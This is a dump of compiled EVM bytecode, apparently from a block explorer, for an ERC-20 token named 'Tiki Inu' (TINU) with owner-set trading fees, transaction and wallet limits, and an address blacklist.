ffffffffffffff168152602001908152602001600020600061090761160c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f439092919063ffffffff16565b611614565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61099e61160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2490613095565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a9061160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1490613095565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b7a61160c565b73ffffffffffffffffffffffffffffffffffffffff1614610b9a57600080fd5b6000479050610ba881611fa7565b50565b610bb361160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3790613095565b60405180910390fd5b6014821115610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906131ce565b60405180910390fd5b6014811115610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf90613260565b60405180910390fd5b6001841115610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d03906132f2565b60405180910390fd5b6001831115610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790613384565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b6000610dbc600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612013565b9050919050565b610dcb61160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90613095565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f1e61160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490613095565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fee61160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290613095565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600481526020017f54494e5500000000000000000000000000000000000000000000000000000000815250905090565b6110e361160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790613095565b60405180910390fd5b8060198190555050565b600061118e61118761160c565b84846117df565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f961160c565b73ffffffffffffffffffffffffffffffffffffffff161461121957600080fd5b600061122430610d72565b905061122f81612081565b50565b61123a61160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c090613095565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090613416565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61148561160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990613095565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61157561160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990613095565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167b906134a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb9061353a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d29190612e20565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561184f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611846906135cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b69061365e565b60405180910390fd5b60008111611902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f9906136f0565b60405180910390fd5b61190a610fbd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119785750611948610fbd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c4257601660149054906101000a900460ff166119d7576017548111156119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cd9061375c565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a7b5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab1906137ee565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b675760185481611b1c84610d72565b611b26919061380e565b10611b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5d906138d6565b60405180910390fd5b5b6000611b7230610d72565b9050600060195482101590506017548210611b8d5760175491505b808015611ba75750601660159054906101000a900460ff16155b8015611c015750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c17575060168054906101000a900460ff165b15611c3f57611c2582612081565b60004790506000811115611c3d57611c3c47611fa7565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ce95750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d9c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d9b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611daa5760009050611f31565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e555750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e6d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3057600b54600d81905550600c54600e819055505b5b611f3d84848484612309565b50505050565b6000838311158290611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f829190612cc9565b60405180910390fd5b5060008385611f9a91906138f6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561200f573d6000803e3d6000fd5b5050565b600060075482111561205a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120519061399c565b60405180910390fd5b6000612064612336565b9050612079818461236190919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120b9576120b8612a57565b5b6040519080825280602002602001820160405280156120e75781602001602082028036833780820191505090505b50905030816000815181106120ff576120fe6130b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121a157600080fd5b505afa1580156121b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d991906139d1565b816001815181106121ed576121ec6130b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611614565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b8959493929190613af7565b600060405180830381600087803b1580156122d257600080fd5b505af11580156122e6573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612317576123166123ab565b5b6123228484846123ee565b806123305761232f6125b9565b5b50505050565b60008060006123436125cd565b9150915061235a818361236190919063ffffffff16565b9250505090565b60006123a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612629565b905092915050565b6000600d541480156123bf57506000600e54145b156123c9576123ec565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806124008761268c565b95509550955095509550955061245e86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f385600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273e90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061253f8161279c565b6125498483612859565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125a69190612e20565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600066038d7ea4c6800090506125ff66038d7ea4c6800060075461236190919063ffffffff16565b82101561261c5760075466038d7ea4c68000935093505050612625565b81819350935050505b9091565b60008083118290612670576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126679190612cc9565b60405180910390fd5b506000838561267f9190613b80565b9050809150509392505050565b60008060008060008060008060006126a98a600d54600e54612893565b92509250925060006126b9612336565b905060008060006126cc8e878787612929565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061273683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f43565b905092915050565b600080828461274d919061380e565b905083811015612792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278990613bfd565b60405180910390fd5b8091505092915050565b60006127a6612336565b905060006127bd82846129b290919063ffffffff16565b905061281181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273e90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61286e826007546126f490919063ffffffff16565b6007819055506128898160085461273e90919063ffffffff16565b6008819055505050565b6000806000806128bf60646128b1888a6129b290919063ffffffff16565b61236190919063ffffffff16565b905060006128e960646128db888b6129b290919063ffffffff16565b61236190919063ffffffff16565b9050600061291282612904858c6126f490919063ffffffff16565b6126f490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061294285896129b290919063ffffffff16565b9050600061295986896129b290919063ffffffff16565b9050600061297087896129b290919063ffffffff16565b905060006129998261298b85876126f490919063ffffffff16565b6126f490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156129c55760009050612a27565b600082846129d39190613c1d565b90508284826129e29190613b80565b14612a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1990613ce9565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a8f82612a46565b810181811067ffffffffffffffff82111715612aae57612aad612a57565b5b80604052505050565b6000612ac1612a2d565b9050612acd8282612a86565b919050565b600067ffffffffffffffff821115612aed57612aec612a57565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b2e82612b03565b9050919050565b612b3e81612b23565b8114612b4957600080fd5b50565b600081359050612b5b81612b35565b92915050565b6000612b74612b6f84612ad2565b612ab7565b90508083825260208201905060208402830185811115612b9757612b96612afe565b5b835b81811015612bc05780612bac8882612b4c565b845260208401935050602081019050612b99565b5050509392505050565b600082601f830112612bdf57612bde612a41565b5b8135612bef848260208601612b61565b91505092915050565b600060208284031215612c0e57612c0d612a37565b5b600082013567ffffffffffffffff811115612c2c57612c2b612a3c565b5b612c3884828501612bca565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c7b578082015181840152602081019050612c60565b83811115612c8a576000848401525b50505050565b6000612c9b82612c41565b612ca58185612c4c565b9350612cb5818560208601612c5d565b612cbe81612a46565b840191505092915050565b60006020820190508181036000830152612ce38184612c90565b905092915050565b6000819050919050565b612cfe81612ceb565b8114612d0957600080fd5b50565b600081359050612d1b81612cf5565b92915050565b60008060408385031215612d3857612d37612a37565b5b6000612d4685828601612b4c565b9250506020612d5785828601612d0c565b9150509250929050565b60008115159050919050565b612d7681612d61565b82525050565b6000602082019050612d916000830184612d6d565b92915050565b6000819050919050565b6000612dbc612db7612db284612b03565b612d97565b612b03565b9050919050565b6000612dce82612da1565b9050919050565b6000612de082612dc3565b9050919050565b612df081612dd5565b82525050565b6000602082019050612e0b6000830184612de7565b92915050565b612e1a81612ceb565b82525050565b6000602082019050612e356000830184612e11565b92915050565b600080600060608486031215612e5457612e53612a37565b5b6000612e6286828701612b4c565b9350506020612e7386828701612b4c565b9250506040612e8486828701612d0c565b9150509250925092565b600060ff82169050919050565b612ea481612e8e565b82525050565b6000602082019050612ebf6000830184612e9b565b92915050565b612ece81612b23565b82525050565b6000602082019050612ee96000830184612ec5565b92915050565b600060208284031215612f0557612f04612a37565b5b6000612f1384828501612b4c565b91505092915050565b612f2581612d61565b8114612f3057600080fd5b50565b600081359050612f4281612f1c565b92915050565b600060208284031215612f5e57612f5d612a37565b5b6000612f6c84828501612f33565b91505092915050565b60008060008060808587031215612f8f57612f8e612a37565b5b6000612f9d87828801612d0c565b9450506020612fae87828801612d0c565b9350506040612fbf87828801612d0c565b9250506060612fd087828801612d0c565b91505092959194509250565b600060208284031215612ff257612ff1612a37565b5b600061300084828501612d0c565b91505092915050565b600080604083850312156130205761301f612a37565b5b600061302e85828601612b4c565b925050602061303f85828601612b4c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061307f602083612c4c565b915061308a82613049565b602082019050919050565b600060208201905081810360008301526130ae81613072565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061311e82612ceb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613151576131506130e4565b5b600182019050919050565b7f4d757374206b656570206275792066656573206c657373207468616e2032302560008201527f2000000000000000000000000000000000000000000000000000000000000000602082015250565b60006131b8602183612c4c565b91506131c38261315c565b604082019050919050565b600060208201905081810360008301526131e7816131ab565b9050919050565b7f4d757374206b6565702073656c6c2066656573206c657373207468616e20323060008201527f2520000000000000000000000000000000000000000000000000000000000000602082015250565b600061324a602283612c4c565b9150613255826131ee565b604082019050919050565b600060208201905081810360008301526132798161323d565b9050919050565b7f4d757374206b6565702064697374726f4665654f6e427579206174203125206f60008201527f72206c6573730000000000000000000000000000000000000000000000000000602082015250565b60006132dc602683612c4c565b91506132e782613280565b604082019050919050565b6000602082019050818103600083015261330b816132cf565b9050919050565b7f4d757374206b6565702064697374726f4665654f6e53656c6c2061742031252060008201527f6f72206c65737300000000000000000000000000000000000000000000000000602082015250565b600061336e602783612c4c565b915061337982613312565b604082019050919050565b6000602082019050818103600083015261339d81613361565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613400602683612c4c565b915061340b826133a4565b604082019050919050565b6000602082019050818103600083015261342f816133f3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613492602483612c4c565b915061349d82613436565b604082019050919050565b600060208201905081810360008301526134c181613485565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613524602283612c4c565b915061352f826134c8565b604082019050919050565b6000602082019050818103600083015261355381613517565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135b6602583612c4c565b91506135c18261355a565b604082019050919050565b600060208201905081810360008301526135e5816135a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613648602383612c4c565b9150613653826135ec565b604082019050919050565b600060208201905081810360008301526136778161363b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136da602983612c4c565b91506136e58261367e565b604082019050919050565b60006020820190508181036000830152613709816136cd565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613746601c83612c4c565b915061375182613710565b602082019050919050565b6000602082019050818103600083015261377581613739565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006137d8602383612c4c565b91506137e38261377c565b604082019050919050565b60006020820190508181036000830152613807816137cb565b9050919050565b600061381982612ceb565b915061382483612ceb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613859576138586130e4565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006138c0602383612c4c565b91506138cb82613864565b604082019050919050565b600060208201905081810360008301526138ef816138b3565b9050919050565b600061390182612ceb565b915061390c83612ceb565b92508282101561391f5761391e6130e4565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613986602a83612c4c565b91506139918261392a565b604082019050919050565b600060208201905081810360008301526139b581613979565b9050919050565b6000815190506139cb81612b35565b92915050565b6000602082840312156139e7576139e6612a37565b5b60006139f5848285016139bc565b91505092915050565b6000819050919050565b6000613a23613a1e613a19846139fe565b612d97565b612ceb565b9050919050565b613a3381613a08565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a6e81612b23565b82525050565b6000613a808383613a65565b60208301905092915050565b6000602082019050919050565b6000613aa482613a39565b613aae8185613a44565b9350613ab983613a55565b8060005b83811015613aea578151613ad18882613a74565b9750613adc83613a8c565b925050600181019050613abd565b5085935050505092915050565b600060a082019050613b0c6000830188612e11565b613b196020830187613a2a565b8181036040830152613b2b8186613a99565b9050613b3a6060830185612ec5565b613b476080830184612e11565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b8b82612ceb565b9150613b9683612ceb565b925082613ba657613ba5613b51565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613be7601b83612c4c565b9150613bf282613bb1565b602082019050919050565b60006020820190508181036000830152613c1681613bda565b9050919050565b6000613c2882612ceb565b9150613c3383612ceb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c6c57613c6b6130e4565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cd3602183612c4c565b9150613cde82613c77565b604082019050919050565b60006020820190508181036000830152613d0281613cc6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220049d612c9ddee6af095f1458809ea60dfbd4203854ff07e49bc701de4b2665b064736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c8c3a50511610064578063c8c3a50514610614578063dd62ed3e1461063d578063e57f14e11461067a578063ea1644d5146106a3576101cc565b806398a5c3151461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c85780636fcba377146103df57806370a0823114610408576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612bf8565b6106cc565b005b34801561020657600080fd5b5061020f6107f8565b60405161021c9190612cc9565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612d21565b610835565b6040516102599190612d7c565b60405180910390f35b34801561026e57600080fd5b50610277610853565b6040516102849190612df6565b60405180910390f35b34801561029957600080fd5b506102a2610879565b6040516102af9190612e20565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e3b565b610888565b6040516102ec9190612d7c565b60405180910390f35b34801561030157600080fd5b5061030a610961565b6040516103179190612e20565b60405180910390f35b34801561032c57600080fd5b50610335610967565b6040516103429190612eaa565b60405180910390f35b34801561035757600080fd5b50610360610970565b60405161036d9190612ed4565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612eef565b610996565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f48565b610a88565b005b3480156103d457600080fd5b506103dd610b39565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612f75565b610bab565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612eef565b610d72565b60405161043c9190612e20565b60405180910390f35b34801561045157600080fd5b5061045a610dc3565b005b34801561046857600080fd5b50610483600480360381019061047e9190612fdc565b610f16565b005b34801561049157600080fd5b5061049a610fb7565b6040516104a79190612e20565b60405180910390f35b3480156104bc57600080fd5b506104c5610fbd565b6040516104d29190612ed4565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612f48565b610fe6565b005b34801561051057600080fd5b50610519611098565b6040516105269190612e20565b60405180910390f35b34801561053b57600080fd5b5061054461109e565b6040516105519190612cc9565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612fdc565b6110db565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612d21565b61117a565b6040516105b79190612d7c565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612eef565b611198565b6040516105f49190612d7c565b60405180910390f35b34801561060957600080fd5b506106126111b8565b005b34801561062057600080fd5b5061063b60048036038101906106369190612eef565b611232565b005b34801561064957600080fd5b50610664600480360381019061065f9190613009565b6113f6565b6040516106719190612e20565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612eef565b61147d565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612fdc565b61156d565b005b6106d461160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90613095565b60405180910390fd5b60005b81518110156107f457600160116000848481518110610788576107876130b5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ec90613113565b915050610766565b5050565b60606040518060400160405280600881526020017f54696b6920496e75000000000000000000000000000000000000000000000000815250905090565b600061084961084261160c565b8484611614565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108958484846117df565b610956846108a161160c565b61095185604051806060016040528060288152602001613d0a60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061090761160c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f439092919063ffffffff16565b611614565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61099e61160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2490613095565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a9061160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1490613095565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b7a61160c565b73ffffffffffffffffffffffffffffffffffffffff1614610b9a57600080fd5b6000479050610ba881611fa7565b50565b610bb361160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3790613095565b60405180910390fd5b6014821115610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906131ce565b60405180910390fd5b6014811115610cc8576040517f08c379a0000000000000000000000000000000000